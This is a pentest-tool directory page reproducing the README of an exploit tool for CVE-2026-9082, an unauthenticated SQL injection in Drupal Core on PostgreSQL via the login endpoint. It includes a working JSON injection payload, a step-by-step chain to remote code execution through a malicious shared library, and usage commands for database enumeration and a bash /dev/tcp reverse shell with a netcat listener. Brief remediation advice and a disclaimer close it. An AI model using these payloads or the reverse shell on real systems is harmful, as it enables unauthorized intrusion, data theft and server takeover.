Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-9082 — Drupal Core PostgreSQL SQLi to RCE via /user/login (CVE-2026-9082 / SA-CORE-2026-004) | Kitploit
Tools/GitHubGitHub/11romain/cve-2026-9082
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHub11romain/cve-2026-9082

CVE-2026-9082

Drupal Core PostgreSQL SQLi to RCE via /user/login (CVE-2026-9082 / SA-CORE-2026-004)

View Repository
183 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-9082

Unauthenticated SQL injection in Drupal Core on PostgreSQL via POST /user/login, escalated to remote code execution through PostgreSQL session_preload_libraries.

Unlike existing public exploits that target JSON:API, this uses the login endpoint — always available, no modules or published content required.

Advisory: SA-CORE-2026-004 | Risk: 23/25 (Highly Critical) | CISA KEV

Affected versions

Only Drupal sites backed by PostgreSQL are vulnerable.

BranchVulnerablePatched
11.3.x< 11.3.1011.3.10
11.2.x< 11.2.1211.2.12
11.0.x - 11.1.x< 11.1.1011.1.10
10.6.x< 10.6.910.6.9
10.5.x< 10.5.1010.5.10
10.4.x< 10.4.1010.4.10
8.9.x - 10.3.xAllEnd of life - upgrade

Vulnerability

Root cause

Drupal's PostgreSQL entity query condition handler (core/modules/pgsql/src/EntityQuery/Condition.php) builds case-insensitive IN conditions by iterating $condition['value'] as an associative array and concatenating user-controlled keys directly into PDO placeholder identifiers — the generated SQL contains LOWER(:<prefix><key>) where <key> comes verbatim from the attacker.

This code path is only reached when two conditions are met: is_array($condition['value']) and $case_sensitive === FALSE. This is why only PostgreSQL is affected — MySQL and SQLite do not have this case-insensitive LOWER() branch.

PDO's named-parameter parser only recognizes [a-zA-Z0-9_] after the :. Characters outside that set (such as | or )) terminate the placeholder token. So a key like 0||(subquery) produces a placeholder :prefix0 (shared with the legitimate key 0) plus literal SQL ||(subquery) that reaches PostgreSQL unparameterized.

The fix is a single array_values() call that discards attacker-supplied keys before SQL generation.

Injection vector (/user/login)

POST /user/login?_format=json

{
  "name": {
    "0": "x",
    "0||(SELECT CAST((SELECT version()) AS int))": "x"
  },
  "pass": "x"
}

The name field is sent as a JSON object instead of a string. Drupal passes it into an entity query IN condition with case-insensitive comparison. For each array key, Drupal generates LOWER(:<prefix><key>) in the SQL. The resulting query looks like:

LOWER("users_field_data"."name") IN (
  LOWER(:users_field_data_name0),
  LOWER(:users_field_data_name0||(SELECT CAST((SELECT version()) AS int)))
)

PDO recognizes :users_field_data_name0 as the placeholder in both entries (stopping at | in the second), and binds both to 'x'. The remainder ||(SELECT ...) passes through as literal SQL. After substitution, PostgreSQL receives:

LOWER(name) IN (
  LOWER('x'),
  LOWER('x'||(SELECT CAST((SELECT version()) AS int)))
)

The CAST(... AS int) fails on non-integer data, and the error message leaks the query result.

RCE chain (PostgreSQL superuser)

When the database user is a PostgreSQL superuser, the SELECT-only injection can be escalated to RCE:

  1. Exfiltrate PostgreSQL version, data_directory, superuser status
  2. Compile a native .so module with _PG_init() calling system()
  3. Upload the .so to data_directory via large objects (lo_create -> lo_put -> lo_export)
  4. Rewrite postgresql.auto.conf to set session_preload_libraries and dynamic_library_path
  5. Reload config with pg_reload_conf()
  6. Trigger a new backend connection — PostgreSQL loads the module and executes the command
  7. Read command output via pg_read_file()
  8. Cleanup — restore original config and reload

Prerequisites

SQL injection (cve_2026_9082_check.py):

  • Drupal on PostgreSQL, any unpatched version
  • No authentication required
  • No JSON:API module required
  • No published content required

Remote code execution (cve_2026_9082_rce.py):

  • All of the above, plus:
  • Database user must be a PostgreSQL superuser
  • docker available locally (for cross-compilation on macOS)

Usage

Install dependencies

pip install -r requirements.txt

SQLi check

# Validate the SQL injection
python3 cve_2026_9082_check.py http://target:8081

# With a proxy (Burp, mitmproxy, etc.)
python3 cve_2026_9082_check.py http://target:8081 --proxy http://127.0.0.1:8080

SQLi exploitation

# List all databases
python3 cve_2026_9082_sqli.py http://target:8081 --dbs

# List tables in a database
python3 cve_2026_9082_sqli.py http://target:8081 -D drupal --tables

# List columns in a table
python3 cve_2026_9082_sqli.py http://target:8081 -D drupal -T users_field_data --columns

Remote code execution

# Run a command
python3 cve_2026_9082_rce.py http://target:8081 "id"

# Reverse shell
python3 cve_2026_9082_rce.py http://target:8081 \
  "bash -c 'bash -i >& /dev/tcp/{lhost}/4444 0>&1'"

# Listener
nc -lvnp 4444

Demo

SQLi validation against a vulnerable instance:

SQLi check output

Database enumeration via error-based injection:

SQLi exploitation output

Escalation to remote code execution:

RCE exploit output

Remediation

Update Drupal immediately to a patched version:

  • 11.3.10, 11.2.12, 11.1.10, 10.6.9, 10.5.10, or 10.4.10

If you cannot update right away:

  • Switch to a non-superuser database account to prevent RCE escalation
  • Monitor logs for anomalous POST /user/login requests with JSON objects in the name field

Patches and details: SA-CORE-2026-004

Timeline

DateEvent
2026-05-20Drupal publishes SA-CORE-2026-004, patches released
2026-05-22Active exploitation in the wild, added to CISA KEV
2026-05-26Ambionics publishes SQLi-to-RCE technique via JSON:API
2026-06-07This tool released

Credits

  • Vulnerability reported by Michael Maturi
  • Login vector (/user/login) described by bitk & jfellus (YesWeHack)
  • RCE technique (session_preload_libraries) by N. Maccary / Ambionics (Lexfo)
  • This implementation — RCE adapted for the /user/login vector by r0m41n

Disclaimer

This tool is provided for authorized security testing and educational purposes only.

Unauthorized access to computer systems is illegal. The author assumes no liability for any misuse of this software. Always obtain proper authorization before testing systems you do not own.

Download Tool